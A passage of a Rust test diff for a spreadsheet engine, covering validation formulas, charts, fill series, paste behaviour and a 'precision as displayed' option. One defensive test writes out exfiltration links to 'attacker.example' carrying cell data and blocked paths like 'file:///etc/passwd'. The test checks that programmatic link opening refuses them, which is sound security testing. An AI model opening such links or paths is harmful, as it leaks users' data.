+    /// isn't a corner the next corner is the top-left one; a single cell stays where it is.
+    pub fn next_corner(&mut self) {
+        self.next_corner_by(Some);
+    }
+
+    /// [`Selection::next_corner`] where `stop` says where each corner takes the active cell: the
+    /// top-left cell of a merged cell the corner is in, or `None` for a corner that can't be
+    /// selected (it is skipped). Corners that end up on the active cell are one stop with it.
+    pub fn next_corner_by(&mut self, stop: impl Fn(CellRef) -> Option<CellRef>) {
+        let r = self.current();
+        let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)];
+        let next = match corners.iter().rposition(|c| stop(*c) == Some(self.active)) {
+            Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).filter_map(|c| stop(*c)).find(|c| *c != self.active),
+            None => corners.iter().find_map(|c| stop(*c)),
+        };
+        if let Some(next) = next {
+            self.active = next;
+            self.anchor = next;
+        }
+    }
+}
+
 /// Ctrl+arrow: jump to the edge of the current data region (Excel's End mode).
 pub fn jump(sheet: &Sheet, from: CellRef, dr: i64, dc: i64) -> CellRef {
    if dr == 0 && dc == 0 {
@@ -2743,6 +2743,78 @@ fn validation_formulas_are_relative_and_see_the_new_value() {
    assert!(!ok(&mut s, "C1", "50"));
 }

+#[test]
+fn multi_area_rule_formulas_are_relative_to_the_top_left_cell_of_all_areas() {
+    // Issue #3152: Excel writes the formula for the top-left cell of all the areas (H26), whatever
+    // order they are listed in, not for the first area listed (H62).
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "F26:F27", "values": [[4], [5]]})).unwrap();
+    s.execute("data.validation", json!({"range": "H62:H68,H26:H27,H93:H95", "type": "custom", "formula1": "=MOD($H26,$F26)=0"})).unwrap();
+    let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
+    assert!(ok(&mut s, "H26", "4"));
+    assert!(ok(&mut s, "H26", "8"));
+    assert!(!ok(&mut s, "H26", "3"));
+    assert!(ok(&mut s, "H27", "10"));
+    assert!(!ok(&mut s, "H27", "4"));
+
+    // Conditional formats anchor on the same cell: `=D2>0` on D5:D6,D2:D3 checks D2 at D2.
+    s.execute("range.setValues", json!({"range": "D2:D6", "values": [[1], [0], [0], [1], [0]]})).unwrap();
+    s.execute("home.conditionalFormat", json!({"range": "D5:D6,D2:D3", "rule": {"type": "expression", "formula": "=D2>0", "preset": "greenFill"}}))
+        .unwrap();
+    let wb = s.doc().unwrap().wb.clone();
+    let mut cache = crate::cf::CfCache::new();
+    let mut styled = |c: &str| cache.look(&wb, 0, CellRef::parse(c).unwrap()).and_then(|l| l.style).is_some();
+    assert_eq!([styled("D2"), styled("D3"), styled("D5"), styled("D6")], [true, false, true, false]);
+}
+
+#[test]
+fn removing_a_rules_top_left_cell_rewrites_its_formulas_for_the_new_one() {
+    let mut s = s();
+    let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
+    let f1 = |s: &Session| s.doc().unwrap().wb.active().unwrap().validations[0].f1.clone();
+
+    // One area: clearing A1 off A1:A9 leaves A2:A9, whose cells still check themselves.
+    s.execute("data.validation", json!({"range": "A1:A9", "type": "custom", "formula1": "=A1>10"})).unwrap();
+    s.execute("data.validation", json!({"range": "A1", "clear": true})).unwrap();
+    assert_eq!(f1(&s), "A2>10");
+    assert!(ok(&mut s, "A2", "20"));
+    assert!(!ok(&mut s, "A2", "5"));
+    s.execute("data.validation", json!({"range": "A1:A9", "clear": true})).unwrap();
+
+    // Several areas: clearing H26 moves the top-left cell to H27, where `$H27,$F27` is checked.
+    s.execute("range.setValues", json!({"range": "F26:F27", "values": [[4], [5]]})).unwrap();
+    s.execute("data.validation", json!({"range": "H62:H68,H26:H27", "type": "custom", "formula1": "=MOD($H26,$F26)=0"})).unwrap();
+    s.execute("data.validation", json!({"range": "H26", "clear": true})).unwrap();
+    assert_eq!(f1(&s), "MOD($H27,$F27)=0");
+    assert!(ok(&mut s, "H27", "10"));
+    assert!(!ok(&mut s, "H27", "4"));
+    // Absolute and literal formulas don't move.
+    s.execute("data.validation", json!({"range": "J1:J3", "type": "list", "formula1": "=$B$1:$B$2"})).unwrap();
+    s.execute("data.validation", json!({"range": "J1", "clear": true})).unwrap();
+    let dv = s.doc().unwrap().wb.active().unwrap().validations.iter().find(|d| d.ranges[0].a1() == "J2:J3").unwrap().f1.clone();
+    assert_eq!(dv, "$B$1:$B$2");
+
+    // Conditional formats: Clear Rules on D2 drops the D2:D3 area, and D5:D6 keeps reading itself.
+    s.execute("range.setValues", json!({"range": "D2:D6", "values": [[1], [0], [0], [0], [1]]})).unwrap();
+    s.execute("home.conditionalFormat", json!({"range": "D5:D6,D2:D3", "rule": {"type": "expression", "formula": "=D2>0", "preset": "greenFill"}}))
+        .unwrap();
+    s.execute("range.setValues", json!({"range": "E2:E6", "values": [[1], [0], [0], [0], [1]]})).unwrap();
+    s.execute("range.setValues", json!({"range": "G2:G6", "values": [[0], [9], [9], [9], [0]]})).unwrap();
+    s.execute(
+        "home.conditionalFormat",
+        json!({"range": "E5:E6,E2:E3", "rule": {"type": "cellIs", "operator": "greater", "value": "=G2", "preset": "lightRedFill"}}),
+    )
+    .unwrap();
+    s.execute("home.clearRules", json!({"range": "D2,E2"})).unwrap();
+    let rules: Vec<gridcraft_model::CfRule> = s.doc().unwrap().wb.active().unwrap().cond_formats.iter().map(|c| c.rule.clone()).collect();
+    assert!(rules.iter().any(|r| matches!(r, gridcraft_model::CfRule::Expression { formula, .. } if formula == "D5>0")), "{rules:?}");
+    assert!(rules.iter().any(|r| matches!(r, gridcraft_model::CfRule::CellIs { a, .. } if a == "G5")), "{rules:?}");
+    let wb = s.doc().unwrap().wb.clone();
+    let mut cache = crate::cf::CfCache::new();
+    let mut styled = |c: &str| cache.look(&wb, 0, CellRef::parse(c).unwrap()).and_then(|l| l.style).is_some();
+    assert_eq!([styled("D5"), styled("D6"), styled("E5"), styled("E6")], [false, true, false, true]);
+}
+
 #[test]
 fn samples_build() {
    for (name, _) in crate::sample::SAMPLES {
@@ -3058,7 +3130,7 @@ fn calculation_options_enable_iterative_calculation() {
    assert!(!s.doc().unwrap().calc.circular.is_empty());
    // Switching it on recalculates the loop.
    let r = s.execute("formulas.calculationOptions", json!({"iterative": true})).unwrap();
-    assert_eq!(r, json!({"mode": "Automatic", "iterative": true, "maxIterations": 100, "maxChange": 0.001}));
+    assert_eq!(r, json!({"mode": "Automatic", "iterative": true, "maxIterations": 100, "maxChange": 0.001, "precisionAsDisplayed": false}));
    near(&s, "A1", 10.0);
    near(&s, "A2", 10.0);
    assert!(s.doc().unwrap().calc.circular.is_empty());
@@ -3165,6 +3237,21 @@ fn every_chart_kind_survives_xlsx() {
    }
 }

+#[test]
+fn chart_set_doughnut_hole_and_angle() {
+    let mut s = s();
+    chart_data(&mut s);
+    s.execute("insert.chart", json!({"type": "doughnut", "range": "A1:B7"})).unwrap();
+    s.execute("chart.set", json!({"holeSize": 5, "firstSliceAngle": 400})).unwrap();
+    s.execute("chart.set", json!({"holeSize": 200})).unwrap();
+    let c = s.doc().unwrap().wb.active().unwrap().charts[0].clone();
+    assert_eq!((c.hole_size, c.first_slice_angle), (90, 40));
+    s.execute("chart.set", json!({"holeSize": 25, "firstSliceAngle": 180})).unwrap();
+    reopen(&mut s);
+    let c = &s.doc().unwrap().wb.active().unwrap().charts[0];
+    assert_eq!((c.kind, c.hole_size, c.first_slice_angle), (gridcraft_model::ChartKind::Doughnut, 25, 180));
+}
+
 #[test]
 fn scatter_of_two_columns_is_one_series_with_the_first_as_x() {
    let mut s = s();
@@ -3903,6 +3990,24 @@ fn fill_series_weekday_out_of_range_step_errors() {
    assert_eq!(v(&s, "A2"), Value::Empty);
 }

+/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and
+/// lands where counting day by day would.
+#[test]
+fn fill_series_weekday_large_step_is_arithmetic() {
+    let mut s = s();
+    // 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday.
+    s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap();
+    s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000}))
+        .unwrap();
+    assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0));
+    assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0));
+    s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap();
+    s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap();
+    // Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday.
+    assert_eq!(v(&s, "B2"), Value::Number(45008.0));
+    assert_eq!(v(&s, "B3"), Value::Number(45007.0));
+}
+
 #[test]
 fn fill_series_month_leap_year() {
    let s = series_date("2028-01-31", "A1:A3", "month");
@@ -4065,6 +4170,25 @@ fn a_cut_moves_the_sources_notes_hyperlinks_and_merges() {
    assert!(v(&s, "A1").is_empty() && v(&s, "B1").is_empty());
 }

+/// A cell that holds only a hyperlink (its content cleared) is still part of the block: a
+/// cut must carry the link to the destination instead of dropping it with the source.
+#[test]
+fn a_cut_carries_a_link_only_cell() {
+    let mut s = s();
+    s.execute("insert.link", json!({"cell": "A1", "target": "https://example.com"})).unwrap();
+    let a1 = CellRef::parse("A1").unwrap();
+    let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
+    sh.remove_cell(a1);
+    assert!(sh.cell(a1).is_none(), "A1 holds only the link");
+    s.execute("edit.cut", json!({"range": "A1:B1"})).unwrap();
+    s.execute("edit.paste", json!({"at": "D1"})).unwrap();
+
+    let d = s.doc().unwrap();
+    let sh = d.wb.active().unwrap();
+    assert!(!sh.hyperlinks.contains_key(&CellRef::parse("A1").unwrap()), "the link left the source");
+    assert!(sh.hyperlinks.contains_key(&CellRef::parse("D1").unwrap()), "the link arrived at the destination");
+}
+
 /// Page Layout ▸ Print Titles: naming one axis must not clear the other. `print_titles` read
 /// both `rows` and `cols` into `Option`s and assigned both unconditionally, so
 /// `{"rows":"2:2"}` silently dropped the repeated columns from every printed page.
@@ -4590,12 +4714,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() {
    }
    assert!(s.execute("link.open", json!({"cell": "A1"})).is_err());
    assert!(s.take_ui_requests().is_empty());
+    // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else.
+    s.link_policy = crate::links::LinkPolicy::Allow;
+    for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] {
+        assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}");
+    }
+    assert!(s.take_ui_requests().is_empty());
    s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap();
    assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]);
    s.execute("link.open", json!({"url": "B2"})).unwrap();
    assert!(s.take_ui_requests().is_empty());
 }

+/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it
+/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=<cell data>`)
+/// and asks for no dialog either; only the host's confirmed path opens one.
+#[test]
+fn programmatic_link_open_never_opens_an_external_address_without_confirmation() {
+    let mut s = s();
+    assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default");
+    s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap();
+    s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap();
+    s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap();
+    s.take_ui_requests();
+    for p in [
+        json!({"url": "https://attacker.example/?d=secret"}),
+        json!({"url": "http://attacker.example"}),
+        json!({"target": "MAILTO:x@attacker.example"}),
+        json!({"cell": "B1"}),
+        json!({"cell": "C1"}),
+    ] {
+        let e = s.execute("link.open", p.clone()).unwrap_err().to_string();
+        assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}");
+    }
+    assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller");
+    assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err());
+    assert!(s.take_ui_requests().is_empty());
+    // References still navigate.
+    s.execute("link.open", json!({"url": "A1"})).unwrap();
+    assert!(s.take_ui_requests().is_empty());
+
+    // The host's confirmed path opens the allowed address, and still refuses every other scheme.
+    assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"}));
+    assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]);
+    for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] {
+        assert!(s.open_confirmed_link(url).is_err(), "{url:?}");
+    }
+    assert!(s.take_ui_requests().is_empty());
+    s.open_confirmed_link("Sheet1!C3").unwrap();
+    assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2));
+}
+
 #[test]
 fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() {
    let mut s = s();
@@ -4641,6 +4810,180 @@ fn paste_special_validation_moves_relative_references() {
    assert!(ok(&mut s, "C3", "20"));
 }

+/// "Set precision as displayed" (formulas.calculationOptions `precisionAsDisplayed`). Behaviour
+/// observed in Excel through COM with synthetic values: turning it on rounds existing constants
+/// and formulas to their formats; constants typed or reformatted while it is on are rounded at
+/// once (permanently: a wider format later doesn't bring digits back); General keeps full
+/// precision; turning it off restores formulas on recalculation, not constants.
+#[test]
+fn precision_as_displayed_option() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A3", "input": "=7/3"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A4", "input": "0.333333333333333"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A3", "code": "0"})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A3")), (1.23456, 7.0 / 3.0));
+    let r = s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    assert_eq!(r["precisionAsDisplayed"], true);
+    assert_eq!((num(&s, "A1"), num(&s, "A2"), num(&s, "A3"), num(&s, "A4")), (1.23, 123.0, 2.0, 0.333333333333333));
+    let r = s.execute("file.options", json!({})).unwrap();
+    assert_eq!(r["calculation"]["precisionAsDisplayed"], true);
+    // Typed while on: rounded to the cell's format, and dependents read the rounded value.
+    s.execute("cell.set", json!({"cell": "A1", "input": "4.56789"})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A2")), (4.57, 457.0));
+    s.execute("range.setValues", json!({"range": "A1", "values": [[5.43219]]})).unwrap();
+    assert_eq!(num(&s, "A1"), 5.43);
+    // Reformatting while on rounds a constant and a formula at once.
+    s.execute("cell.set", json!({"cell": "B1", "input": "1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "B2", "input": "=1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "B3", "input": "=B1*100"})).unwrap();
+    assert_eq!(num(&s, "B1"), 1.23456);
+    s.execute("home.numberFormat", json!({"range": "B1:B2", "code": "0.0"})).unwrap();
+    assert_eq!((num(&s, "B1"), num(&s, "B2"), num(&s, "B3")), (1.2, 1.2, 120.0));
+    // The constant's digits are gone for good; the formula is rounded again from its result.
+    s.execute("home.numberFormat", json!({"range": "B1:B2", "code": "0.0000"})).unwrap();
+    assert_eq!((num(&s, "B1"), num(&s, "B2")), (1.2, 1.2346));
+    // Undo brings the unrounded constant back.
+    s.execute("edit.undo", json!({})).unwrap();
+    s.execute("edit.undo", json!({})).unwrap();
+    assert_eq!(num(&s, "B1"), 1.23456);
+    // Saved with the workbook, and applied on recalculation after reopening.
+    reopen(&mut s);
+    assert!(s.doc().unwrap().wb.calc.precision_as_displayed);
+    assert_eq!(num(&s, "A3"), 2.0);
+    // Off: formulas get their full precision back, constants stay rounded.
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": false})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A3")), (5.43, 7.0 / 3.0));
+}
+
+/// Reformatting a cell a dynamic array spills into rounds that element as displayed: the cell
+/// holds no stored value (the spill lives in `Sheet::spill`), so the edit changes only its
+/// style, and the anchor must be recalculated for the element to be rounded.
+#[test]
+fn precision_as_displayed_rounds_a_reformatted_spill_cell() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("cell.set", json!({"cell": "F1", "input": "=SEQUENCE(3,1,0.123,0.111)"})).unwrap();
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    s.execute("cell.set", json!({"cell": "G1", "input": "=SUM(F1:F3)"})).unwrap();
+    let (f2, f3) = (0.123 + 0.111, 0.123 + 0.111 * 2.0);
+    assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.123, f2, f3));
+    // Formatting a spill destination (the anchor is not in the edit) rounds just that element.
+    s.execute("home.numberFormat", json!({"range": "F2", "code": "0.0"})).unwrap();
+    assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.123, 0.2, f3));
+    assert_eq!(num(&s, "G1"), 0.123 + 0.2 + f3);
+    // A range covering anchor and spill, and a whole column, round every element.
+    s.execute("home.numberFormat", json!({"range": "F:F", "code": "0.00"})).unwrap();
+    assert_eq!((num(&s, "F1"), num(&s, "F2"), num(&s, "F3")), (0.12, 0.23, 0.35));
+    assert_eq!(num(&s, "G1"), 0.12 + 0.23 + 0.35);
+    // Formatting a cell that no spill covers changes nothing.
+    s.execute("home.numberFormat", json!({"range": "F4", "code": "0.0"})).unwrap();
+    assert_eq!(num(&s, "F3"), 0.35);
+}
+#[test]
+fn precision_as_displayed_enable_undoes_in_one_step() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 123.0));
+    // One undo brings back the constants and the flag together.
+    s.execute("edit.undo", json!({})).unwrap();
+    assert!(!s.doc().unwrap().wb.calc.precision_as_displayed);
+    assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23456, 1.23456 * 100.0));
+}
+
+#[test]
+fn precision_as_displayed_applies_in_manual_mode() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A1", "code": "0.00"})).unwrap();
+    s.execute("formulas.calculationOptions", json!({"mode": "manual"})).unwrap();
+    // Turning it on rounds the values at once, without a calculation.
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 123.0));
+    // Turning it off recalculates at once too: the formula reads the rounded constant.
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": false})).unwrap();
+    assert_eq!((num(&s, "A1"), num(&s, "A2")), (1.23, 1.23 * 100.0));
+}
+
+#[test]
+fn precision_as_displayed_on_a_protected_sheet_keeps_locked_constants() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("cell.set", json!({"cell": "A1", "input": "1.23456"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A2", "input": "=A1*100"})).unwrap();
+    s.execute("cell.set", json!({"cell": "B1", "input": "1.23456"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A1:B1", "code": "0.00"})).unwrap();
+    s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap();
+    s.execute("review.protectSheet", json!({})).unwrap();
+    // Turning the option on is not refused: the locked constant keeps its digits, the unlocked
+    // one is rounded.
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    assert!(s.doc().unwrap().wb.calc.precision_as_displayed);
+    assert_eq!((num(&s, "A1"), num(&s, "B1"), num(&s, "A2")), (1.23456, 1.23, 1.23456 * 100.0));
+    // Reformatting a locked constant, on a sheet that allows formatting, keeps its digits too.
+    s.execute("review.unprotectSheet", json!({})).unwrap();
+    s.execute("review.protectSheet", json!({"formatCells": true})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "A1", "code": "0.0"})).unwrap();
+    assert_eq!(num(&s, "A1"), 1.23456);
+}
+
+#[test]
+fn precision_as_displayed_rounds_a_legacy_array_by_each_cell() {
+    let mut s = s();
+    let num = |s: &Session, a: &str| v(s, a).as_f64().unwrap_or(f64::NAN);
+    s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2]]})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "B1", "code": "0.00"})).unwrap();
+    s.execute("home.numberFormat", json!({"range": "B2", "code": "0.0"})).unwrap();
+    s.execute("selection.set", json!({"range": "B1:B2"})).unwrap();
+    s.execute("cell.set", json!({"input": "=A1:A2/3", "array": true})).unwrap();
+    assert_eq!((num(&s, "B1"), num(&s, "B2")), (1.0 / 3.0, 2.0 / 3.0));
+    // Each element takes the format of the cell it lands in.
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    assert_eq!((num(&s, "B1"), num(&s, "B2")), (0.33, 0.7));
+}
+
+#[test]
+fn precision_as_displayed_rounds_numbers_written_to_a_new_sheet() {
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2], [4], [7], [3], [5]]})).unwrap();
+    // Histogram output on a new sheet, with the option off, keeps full precision.
+    s.execute("data.analysisToolPak", json!({"tool": "histogram", "range": "Sheet1!A1:A6", "cumulative": true, "newSheet": "Raw"})).unwrap();
+    let raw: Vec<(CellRef, f64)> = {
+        let d = s.doc().unwrap();
+        let sh = d.wb.sheet(d.wb.sheet_index("Raw").unwrap()).unwrap();
+        sh.cells
+            .iter()
+            .filter_map(|(c, cell)| match cell.value {
+                Value::Number(n) if cell.formula.is_none() => Some((c, n)),
+                _ => None,
+            })
+            .collect()
+    };
+    s.execute("formulas.calculationOptions", json!({"precisionAsDisplayed": true})).unwrap();
+    s.execute("data.analysisToolPak", json!({"tool": "histogram", "range": "Sheet1!A1:A6", "cumulative": true, "newSheet": "Rounded"})).unwrap();
+    let d = s.doc().unwrap();
+    let si = d.wb.sheet_index("Rounded").unwrap();
+    let sh = d.wb.sheet(si).unwrap();
+    let mut prec = gridcraft_calc::DisplayedPrecision::new();
+    let mut rounded = 0;
+    for (c, n) in &raw {
+        let want = prec.round(&d.wb, si, *c, *n);
+        assert_eq!(sh.value(*c), Value::Number(want), "{c:?}");
+        rounded += usize::from(want != *n);
+    }
+    // Cumulative shares of six values are sixths, which the percent format rounds.
+    assert!(rounded > 0, "the histogram's formatted cells should be rounded");
+}
+
 #[test]
 fn editing_quote_prefixed_text_keeps_it_text() {
    let mut s = s();
@@ -4690,6 +5033,217 @@ fn csv_as_text_keeps_identifier_columns_as_written() {
    assert_eq!(crate::io::base64_decode(saved["base64"].as_str().unwrap()).unwrap(), csv.replace('\n', "\r\n").as_bytes());
 }

+fn validation_areas(s: &Session) -> Vec<String> {
+    let sh = s.doc().unwrap().wb.active().unwrap();
+    let mut out: Vec<String> = sh.validations.iter().map(|dv| dv.ranges.iter().map(|r| r.a1()).collect::<Vec<_>>().join(" ")).collect();
+    out.sort();
+    out
+}
+
+/// ft-3ir.10.16: pasting whole columns walked every one of their 1,048,576 rows and added one
+/// single-cell validation rule per pasted cell, re-cutting every rule each time (the fuzz run
+/// aborted on a 34 GB allocation). Validation now pastes as ranges and only cells that hold
+/// something are visited.
+#[test]
+fn whole_column_paste_with_validation_works_on_ranges() {
+    let mut s = s();
+    let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
+    s.execute("cell.set", json!({"cell": "C1", "input": "1"})).unwrap();
+    s.execute("cell.set", json!({"cell": "D1048576", "input": "2"})).unwrap();
+    s.execute("cell.set", json!({"cell": "F100", "input": "old"})).unwrap();
+    s.execute("data.validation", json!({"range": "C:C", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
+    s.execute("data.validation", json!({"range": "F:H", "type": "list", "formula1": "\"a,b\""})).unwrap();
+    s.execute("edit.copy", json!({"range": "C:D"})).unwrap();
+    s.execute("edit.paste", json!({"at": "F1"})).unwrap();
+    assert_eq!(v(&s, "F1"), Value::Number(1.0));
+    assert_eq!(v(&s, "G1048576"), Value::Number(2.0));
+    assert_eq!(v(&s, "F100"), Value::Empty, "the whole column is replaced, below the copied text too");
+    // One rule per copied rule, over whole columns; G (D had no rule) has none; H keeps the list.
+    assert_eq!(validation_areas(&s), ["C:C", "F:F", "H:H"]);
+    assert!(!ok(&mut s, "F500", "-1"));
+    assert!(ok(&mut s, "G500", "anything"));
+    assert!(!ok(&mut s, "H500", "c"));
+    assert_eq!(s.doc().unwrap().selection.a1(), "F:G");
+    // Undo gives the list back over F:H.
+    s.execute("edit.undo", json!({})).unwrap();
+    assert_eq!(validation_areas(&s), ["C:C", "F:H"]);
+    assert_eq!(v(&s, "F100"), Value::Text("old".into()));
+}
+
+/// Paste Link of whole columns links the cells the columns hold, wherever they start.
+#[test]
+fn paste_link_of_whole_columns_links_the_used_rows() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "C5", "input": "1"})).unwrap();
+    s.execute("cell.set", json!({"cell": "C6", "input": "2"})).unwrap();
+    s.execute("edit.copy", json!({"range": "C:C"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "all", "link": true, "at": "F1"})).unwrap();
+    assert_eq!(v(&s, "F1"), Value::Number(0.0), "a link to a blank cell reads 0");
+    assert_eq!(v(&s, "F5"), Value::Number(1.0));
+    assert_eq!(v(&s, "F6"), Value::Number(2.0));
+    assert_eq!(s.execute("cell.get", json!({"cell": "F5"})).unwrap()["input"], json!("=C5"));
+}
+
+/// A transposed paste clears the destination cells that line up with blank source cells.
+#[test]
+fn transposed_paste_clears_destination_cells_under_blank_source_cells() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap();
+    s.execute("cell.set", json!({"cell": "A2", "input": "3"})).unwrap();
+    s.execute("cell.set", json!({"cell": "B2", "input": "4"})).unwrap();
+    s.execute("cell.set", json!({"cell": "E2", "input": "old"})).unwrap();
+    s.execute("cell.set", json!({"cell": "F1", "input": "older"})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:B2"})).unwrap();
+    s.execute("edit.pasteSpecial", json!({"what": "all", "transpose": true, "at": "E1"})).unwrap();
+    assert_eq!(v(&s, "E1"), Value::Number(1.0));
+    assert_eq!(v(&s, "E2"), Value::Empty, "B1 was blank");
+    assert_eq!(v(&s, "F1"), Value::Number(3.0));
+    assert_eq!(v(&s, "F2"), Value::Number(4.0));
+}
+
+/// A copy tiled over a larger selection clears the non-blank destination cells under its blanks,
+/// in every tile.
+#[test]
+fn tiled_paste_clears_destination_cells_under_blank_source_cells() {
+    let mut s = s();
+    s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap();
+    s.execute("cell.set", json!({"cell": "C2", "input": "x"})).unwrap();
+    s.execute("cell.set", json!({"cell": "C4", "input": "y"})).unwrap();
+    s.execute("edit.copy", json!({"range": "A1:A2"})).unwrap();
+    s.execute("selection.set", json!({"range": "C1:C4"})).unwrap();
+    s.execute("edit.paste", json!({})).unwrap();
+    assert_eq!(v(&s, "C1"), Value::Number(1.0));
+    assert_eq!(v(&s, "C2"), Value::Empty);
+    assert_eq!(v(&s, "C3"), Value::Number(1.0));
+    assert_eq!(v(&s, "C4"), Value::Empty);
+}
+
+/// Excel refuses a paste that would run off the sheet rather than pasting part of it: whole
+/// columns below row 1, whole rows right of column A, a whole column transposed, or a block at
+/// the last row or column.
+#[test]
+fn paste_that_does_not_fit_on_the_sheet_is_refused() {
+    let mut s = s();
+    s.execute("range.setValues", json!({"range": "C1", "values": [[1, 2], [3, 4]]})).unwrap();
+    s.execute("cell.set", json!({"cell": "A15", "input": "x"})).unwrap();
+    let before = s.doc().unwrap().wb.clone();
+    s.execute("edit.copy", json!({"range": "C:D"})).unwrap();
+    assert!(s.execute("edit.paste", json!({"at": "B8"})).is_err());
+    assert!(s.execute("edit.pasteSpecial", json!({"what": "all", "transpose": true, "at": "A1"})).is_err());
+    s.execute("edit.copy", json!({"range": "15:15"})).unwrap();
+    assert!(s.execute("edit.paste", json!({"at": "AN17"})).is_err());
+    s.execute("edit.copy", json!({"range": "C1:D2"})).unwrap();
+    assert!(s.execute("edit.paste", json!({"at": "XFD1"})).is_err());
+    assert!(s.execute("edit.paste", json!({"at": "A1048576"})).is_err());
+    s.execute("edit.cut", json!({"range": "C1:D2"})).unwrap();
+    assert!(s.execute("edit.paste", json!({"at": "XFD1"})).is_err());
+    let after = s.doc().unwrap().wb.clone();
